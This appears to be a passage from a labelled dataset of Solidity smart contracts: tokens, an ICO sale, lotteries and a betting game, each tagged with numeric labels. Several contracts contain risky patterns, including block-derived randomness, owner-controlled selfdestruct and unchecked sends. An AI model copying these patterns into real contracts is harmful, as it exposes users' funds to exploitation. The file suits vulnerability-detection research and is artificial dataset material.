msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkWithdrawalsgross(address _investor) public view returns (uint256) {
return withdrawalsgross[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function setBankrollpercentage(uint256 _Bankrollpercentage) public {
require(msg.sender==owner);
bankrollpercentage = _Bankrollpercentage;
}
function setRandomizer(uint256 _Randomizer) public {
require(msg.sender==owner);
randomizer = _Randomizer;
}
function setStartTime(uint256 _startTime) public {
require(msg.sender==owner);
startTime = _startTime;
}
function checkContractBalance() public view returns (uint256)
{
return address(this).balance;
}
function end() public onlyOwner {
if(msg.sender == owner) {
selfdestruct(owner);
}
}
function getRandomNumber(address _addr) private returns(uint256 randomNumber)
{
randNonce++;
randomNumber = uint256(keccak256(abi.encodePacked(now, _addr, randNonce, randomizer, block.coinbase, block.number))) % 7;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 326 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract admined {
address public admin;
function admined() internal {
admin = msg.sender;
Admined(admin);
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function transferAdminship(address _newAdmin) onlyAdmin public {
admin = _newAdmin;
TransferAdminship(admin);
}
event TransferAdminship(address newAdminister);
event Admined(address administer);
}
contract UNRICO is admined {
using SafeMath for uint256;
enum State {
Ongoin,
Successful
}
uint256 public priceOfEthOnUSD;
State public state = State.Ongoin;
uint256 public startTime = now;
uint256[5] public price;
uint256 public HardCap;
uint256 public totalRaised;
uint256 public totalDistributed;
uint256 public ICOdeadline = startTime.add(27 days);
uint256 public completedAt;
token public tokenReward;
address public creator;
address public beneficiary;
string public campaignUrl;
uint8 constant version = 1;
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogFundingSuccessful(uint _totalRaised);
event LogFunderInitialized(
address _creator,
address _beneficiary,
string _url,
uint256 _ICOdeadline);
event LogContributorsPayout(address _addr, uint _amount);
event PriceUpdate(uint256 _newPrice);
modifier notFinished() {
require(state != State.Successful);
_;
}
function UNRICO (string _campaignUrl, token _addressOfTokenUsedAsReward, uint256 _initialUsdPriceOfEth) public {
creator = msg.sender;
beneficiary = msg.sender;
campaignUrl = _campaignUrl;
tokenReward = token(_addressOfTokenUsedAsReward);
priceOfEthOnUSD = _initialUsdPriceOfEth;
HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD);
price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666));
price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125));
price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111));
price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631));
price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10));
LogFunderInitialized(
creator,
beneficiary,
campaignUrl,
ICOdeadline);
PriceUpdate(priceOfEthOnUSD);
}
function updatePriceOfEth(uint256 _newPrice) onlyAdmin public {
priceOfEthOnUSD = _newPrice;
price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666));
price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125));
price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111));
price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631));
price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10));
HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD);
PriceUpdate(_newPrice);
}
function contribute() public notFinished payable {
uint256 tokenBought;
uint256 required;
totalRaised = totalRaised.add(msg.value);
if(totalDistributed < 2000000 * (10 ** 8)){
tokenBought = msg.value.div(price[0]);
required = SafeMath.div(10000,6);
require(tokenBought >= required);
}
else if (totalDistributed < 20000000 * (10 ** 8)){
tokenBought = msg.value.div(price[1]);
required = SafeMath.div(10000,8);
require(tokenBought >= required);
}
else if (totalDistributed < 40000000 * (10 ** 8)){
tokenBought = msg.value.div(price[2]);
required = SafeMath.div(10000,9);
require(tokenBought >= required);
}
else if (totalDistributed < 60000000 * (10 ** 8)){
tokenBought = msg.value.div(price[3]);
required = SafeMath.div(100000,95);
require(tokenBought >= required);
}
else if (totalDistributed < 80000000 * (10 ** 8)){
tokenBought = msg.value.div(price[4]);
required = 1000;
require(tokenBought >= required);
}
totalDistributed = totalDistributed.add(tokenBought);
tokenReward.transfer(msg.sender, tokenBought);
LogFundingReceived(msg.sender, msg.value, totalRaised);
LogContributorsPayout(msg.sender, tokenBought);
checkIfFundingCompleteOrExpired();
}
function checkIfFundingCompleteOrExpired() public {
if(now < ICOdeadline && state!=State.Successful){
if(state == State.Ongoin && totalRaised >= HardCap){
state = State.Successful;
completedAt = now;
}
}
else if(now > ICOdeadline && state!=State.Successful ) {
state = State.Successful;
completedAt = now;
LogFundingSuccessful(totalRaised);
finished();
}
}
function payOut() public {
require(msg.sender == beneficiary);
require(beneficiary.send(this.balance));
LogBeneficiaryPaid(beneficiary);
}
function finished() public {
require(state == State.Successful);
uint256 remanent = tokenReward.balanceOf(this);
require(beneficiary.send(this.balance));
tokenReward.transfer(beneficiary,remanent);
LogBeneficiaryPaid(beneficiary);
LogContributorsPayout(beneficiary, remanent);
}
function () public payable {
contribute();
}
} | 1 | 2,608 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Hunter King Token";
string public constant TOKEN_SYMBOL = "HKT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x56a5002ec38F56BdA9Ca67268c33648D94c5784E;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,383 |
pragma solidity ^0.4.21;
contract SaiContest_Gaia {
address public owner;
uint public start;
uint public last_roll;
uint public last_jack;
address public week_winner;
address public jack_winner;
uint public week_max;
uint public jack_max;
uint public jack_pot;
uint public jack_nonce;
struct JVal {
uint nonce;
uint64 count;
}
mapping (address => JVal) public jacks;
uint public constant min_payment= 1 finney;
function SaiContest_Gaia() public {
owner = msg.sender;
start = now;
last_roll = now;
last_jack = now;
jack_nonce = 1;
}
function kill(address addr) public {
if (msg.sender == owner && now > start + 1 years){
selfdestruct(addr);
}
}
function getBalance() public view returns (uint bal) {
bal = address(this).balance;
}
function () public payable{
Paid(msg.value);
}
function Paid(uint value) private {
uint WeekPay;
uint JackPay;
uint oPay;
uint CurBal;
uint JackPot;
uint CurNonce;
address WeekWinner;
address JackWinner;
uint64 JackValCount;
uint JackValNonce;
require(value >= min_payment);
oPay = value * 5 / 100;
CurBal = address(this).balance - oPay;
JackPot = jack_pot;
if (now > last_roll + 7 days) {
WeekPay = CurBal - JackPot;
WeekWinner = week_winner;
last_roll = now;
week_max = value;
week_winner = msg.sender;
} else {
if (value > week_max) {
week_winner = msg.sender;
week_max = value;
}
}
if (now > last_jack + 30 days) {
JackWinner = jack_winner;
if (JackPot > CurBal) {
JackPay = CurBal;
} else {
JackPay = JackPot;
}
jack_pot = value * 10 / 100;
jack_winner = msg.sender;
jack_max = 1;
CurNonce = jack_nonce + 1;
jacks[msg.sender].nonce = CurNonce;
jacks[msg.sender].count = 1;
jack_nonce = CurNonce;
} else {
jack_pot = JackPot + value * 10 / 100;
CurNonce = jack_nonce;
JackValNonce = jacks[msg.sender].nonce;
JackValCount = jacks[msg.sender].count;
if (JackValNonce < CurNonce) {
jacks[msg.sender].nonce = CurNonce;
jacks[msg.sender].count = 1;
if (jack_max == 0) {
jack_winner = msg.sender;
jack_max = 1;
}
} else {
JackValCount = JackValCount + 1;
jacks[msg.sender].count = JackValCount;
if (JackValCount > jack_max) {
jack_winner = msg.sender;
jack_max = JackValCount;
}
}
}
owner.transfer(oPay);
if (WeekPay > 0) {
WeekWinner.transfer(WeekPay);
}
if (JackPay > 0) {
JackWinner.transfer(JackPay);
}
}
} | 0 | 1,724 |
pragma solidity ^0.4.2;
contract MyInterface{
function zGetGameBalance() public view returns (uint);
function zReceiveFunds() payable public;
function zSynchGameID(uint nIndex, uint nExpiration) public;
}
contract FantasySports {
address gadrOwner;
uint gnGameID = 0;
address gadrOtherContract;
MyInterface gobjOtherContract;
uint constant gcnWinMultipler = 195;
uint constant gcnTransferFee = .0001 ether;
mapping(uint => address[]) gmapGame_addresses;
mapping(uint => uint[]) gmapGame_wagers;
mapping(uint => uint[]) gmapGame_runningbalances;
mapping(uint => uint) gmapGame_balance;
mapping(uint => uint) gmapGame_expiration;
modifier onlyOwner() {
require(gadrOwner == msg.sender);
_;
}
modifier onlyOtherContract() {
require(gadrOtherContract == msg.sender);
_;
}
function FantasySports () public {
gadrOwner = msg.sender;
}
function zReceiveFunds() payable public {
}
function() payable public {
require(msg.value >= .001 ether && block.timestamp < gmapGame_expiration[gnGameID]);
gmapGame_addresses[gnGameID].push(msg.sender);
gmapGame_wagers[gnGameID].push(msg.value);
gmapGame_balance[gnGameID] +=msg.value;
gmapGame_runningbalances[gnGameID].push(gmapGame_balance[gnGameID]);
}
function zSynchGameID(uint nIndex, uint nExpiration) onlyOtherContract() public {
gnGameID = nIndex;
gmapGame_expiration[gnGameID] = nExpiration;
}
function zSetGameID(uint nIndex, uint nExpiration) onlyOwner() public {
gnGameID = nIndex;
gmapGame_expiration[gnGameID] = nExpiration;
gobjOtherContract.zSynchGameID(gnGameID, nExpiration);
}
function zIncrementGameID(uint nExpiration) onlyOwner() public {
gnGameID++;
gmapGame_expiration[gnGameID] = nExpiration;
gobjOtherContract.zSynchGameID(gnGameID, nExpiration);
}
function zGetGameID() onlyOwner() public view returns (uint) {
return gnGameID;
}
function setOwner (address _owner) onlyOwner() public {
gadrOwner = _owner;
}
function setOtherContract (address _othercontract) onlyOwner() public {
gadrOtherContract = _othercontract;
gobjOtherContract = MyInterface(gadrOtherContract);
}
function zgetOwner() onlyOwner() public view returns (address) {
return gadrOwner;
}
function zgetOtherContract() onlyOwner() public view returns (address) {
return gadrOtherContract;
}
function zgetPlayers(uint nIDOfGame) onlyOwner() public view returns (uint, uint, address[],uint[], uint[]) {
return (gmapGame_balance[nIDOfGame], gmapGame_expiration[nIDOfGame], gmapGame_addresses[nIDOfGame], gmapGame_wagers[nIDOfGame],gmapGame_runningbalances[nIDOfGame]);
}
function zGetGameBalance() onlyOtherContract() public view returns (uint) {
return (gmapGame_balance[gnGameID]);
}
function zRefundAllPlayers() onlyOwner() public {
for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) {
gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee);
}
}
function zGetBothContractBalances() public view onlyOwner() returns (uint, uint) {
uint nOtherBalance = gobjOtherContract.zGetGameBalance();
return (gmapGame_balance[gnGameID], nOtherBalance);
}
function zTransferFundsToOtherContract(uint nAmount) onlyOwner() public {
gobjOtherContract.zReceiveFunds.value(nAmount)();
}
function zTransferFundsToOwner(uint nAmount) onlyOwner() public {
gadrOwner.transfer(nAmount);
}
function zTransferLosingBets() onlyOwner() public {
if (gmapGame_balance[gnGameID] != 0) {
uint nOtherBalance = gobjOtherContract.zGetGameBalance();
if (gmapGame_balance[gnGameID] <= nOtherBalance) {
gobjOtherContract.zReceiveFunds.value(gmapGame_balance[gnGameID])();
} else {
if (nOtherBalance != 0) {
gobjOtherContract.zReceiveFunds.value(nOtherBalance)();
}
for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) {
if (gmapGame_runningbalances[gnGameID][i] > nOtherBalance) {
if (gmapGame_runningbalances[gnGameID][i] - nOtherBalance < gmapGame_wagers[gnGameID][i]) {
gmapGame_addresses[gnGameID][i].transfer( (gmapGame_runningbalances[gnGameID][i] - nOtherBalance) - gcnTransferFee);
} else {
gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee);
}
}
}
}
}
}
function zTransferWinningBets() onlyOwner() public {
if (gmapGame_balance[gnGameID] != 0) {
uint nPreviousRunningBalance = 0;
uint nOtherBalance = gobjOtherContract.zGetGameBalance();
for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) {
if (gmapGame_runningbalances[gnGameID][i] <= nOtherBalance) {
gmapGame_addresses[gnGameID][i].transfer((gmapGame_wagers[gnGameID][i] * gcnWinMultipler / 100) - gcnTransferFee);
} else {
if (nPreviousRunningBalance < nOtherBalance) {
gmapGame_addresses[gnGameID][i].transfer(((nOtherBalance - nPreviousRunningBalance) * gcnWinMultipler / 100) + (gmapGame_wagers[gnGameID][i] - (nOtherBalance - nPreviousRunningBalance)) - gcnTransferFee);
} else {
gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee);
}
}
nPreviousRunningBalance = gmapGame_runningbalances[gnGameID][i];
}
}
}
function zKill() onlyOwner() public {
selfdestruct(gadrOwner);
}
} | 0 | 1,086 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TXXC_TOKEN is StandardToken {
string public name = "TXXC TOKEN";
string public symbol = "TXXC";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000;
event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp);
function TXXC_TOKEN() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
function burn(uint256 _burntAmount) public returns (bool success) {
require(balances[msg.sender] >= _burntAmount && _burntAmount > 0);
balances[msg.sender] = balances[msg.sender].sub(_burntAmount);
totalSupply_ = totalSupply_.sub(_burntAmount);
emit Transfer(address(this), 0x0, _burntAmount);
emit Burn(msg.sender, _burntAmount, block.timestamp);
return true;
}
} | 1 | 3,803 |
pragma solidity ^ 0.4.18;
contract CryptoBabyName {
uint8 constant S_NAME_POS = 18;
uint8 constant S_NAME_SIZE = 10;
uint8 constant S_SCORE_POS = 0;
uint8 constant S_SCORE_SIZE = 10;
uint8 constant S_VOTES_POS = 10;
uint8 constant S_VOTES_SIZE = 4;
uint8 constant S_TIMESTAMP_POS = 14;
uint8 constant S_TIMESTAMP_SIZE = 4;
uint8 constant S_APPROVED_POS = 28;
uint8 constant S_APPROVED_SIZE = 1;
uint8 constant S_SELECTED_POS = 29;
uint8 constant S_SELECTED_SIZE = 1;
address public owner;
address public beneficiary;
mapping(bytes10 => uint) leaderboard;
mapping(address => mapping(bytes10 => uint)) voters;
uint[100] allNames;
mapping(string => string) metadata;
uint babyName;
uint babyBirthday;
uint counter = 0;
modifier restricted() {
if (msg.sender == owner) _;
}
function CryptoBabyName() public {
owner = msg.sender;
}
event Vote(address voter, string name, uint value);
event NewSuggestion(address voter, string name, uint number);
event BabyBorn(string name, uint birthday);
function vote(string name) external payable{
_vote(name, msg.value, msg.sender);
}
function () public payable{
if (msg.data.length >= 2 && msg.data.length <= 10) {
_vote(string(msg.data), msg.value, msg.sender);
}
}
function _vote(string name, uint value, address voter) private {
require(babyName == 0);
bytes10 name10 = normalizeAndCheckName(bytes(name));
if (leaderboard[name10] != 0) {
uint newVal = leaderboard[name10];
newVal = addToPart(newVal, S_SCORE_POS, S_SCORE_SIZE, value);
newVal = addToPart(newVal, S_VOTES_POS, S_VOTES_SIZE, 1);
_update(name10, newVal);
} else {
uint uni = 0xFFFF;
uni = setPart(uni, S_SCORE_POS, S_SCORE_SIZE, value);
uint uname = uint(name10);
uni = setPart(uni, S_NAME_POS, S_NAME_SIZE, uname);
uni = setPart(uni, S_VOTES_POS, S_VOTES_SIZE, 1);
uni = setPart(uni, S_TIMESTAMP_POS, S_TIMESTAMP_SIZE, block.timestamp);
uni |= 0xFFFF;
_update(name10, uni);
counter += 1;
NewSuggestion(voter, name, counter);
}
voters[voter][name10] += value;
Vote(voter, name, value);
}
function didVoteForName(address voter, string name) public view returns(uint value){
value = voters[voter][normalizeAndCheckName(bytes(name))];
}
function _update(bytes10 name10, uint updated) private {
uint16 idx = uint16(updated);
if (idx == 0xFFFF) {
uint currentBottom;
uint bottomIndex;
(currentBottom, bottomIndex) = bottomName();
if (updated > currentBottom) {
if (getPart(currentBottom, S_SCORE_POS, S_SCORE_SIZE) > 0) {
currentBottom = currentBottom | uint(0xFFFF);
bytes10 bottomName10 = bytes10(getPart(currentBottom, S_NAME_POS, S_NAME_SIZE));
leaderboard[bottomName10] = currentBottom;
}
updated = (updated & ~uint(0xFFFF)) | bottomIndex;
allNames[bottomIndex] = updated;
}
} else {
allNames[idx] = updated;
}
leaderboard[name10] = updated;
}
function getPart(uint val, uint8 pos, uint8 sizeBytes) private pure returns(uint result){
uint mask = makeMask(sizeBytes);
result = (val >> ((32 - (pos + sizeBytes)) * 8)) & mask;
}
function makeMask(uint8 size) pure private returns(uint mask){
mask = (uint(1) << (size * 8)) - 1;
}
function setPart(uint val, uint8 pos, uint8 sizeBytes, uint newValue) private pure returns(uint result){
uint mask = makeMask(sizeBytes);
result = (val & ~(mask << (((32 - (pos + sizeBytes)) * 8)))) | ((newValue & mask) << (((32 - (pos + sizeBytes)) * 8)));
}
function addToPart(uint val, uint8 pos, uint8 sizeBytes, uint value) private pure returns(uint result){
result = setPart(val, pos, sizeBytes, getPart(val, pos, sizeBytes) + value);
}
function bottomName() public view returns(uint name, uint index){
uint16 n = uint16(allNames.length);
uint j = 0;
name = allNames[0];
index = 0;
for (j = 1; j < n; j++) {
uint t = allNames[j];
if (t < name) {
name = t;
index = j;
}
}
}
function getTopN(uint nn) public view returns(uint[] top){
uint n = nn;
if (n > allNames.length) {
n = allNames.length;
}
top = new uint[](n);
uint cnt = allNames.length;
uint usedNames;
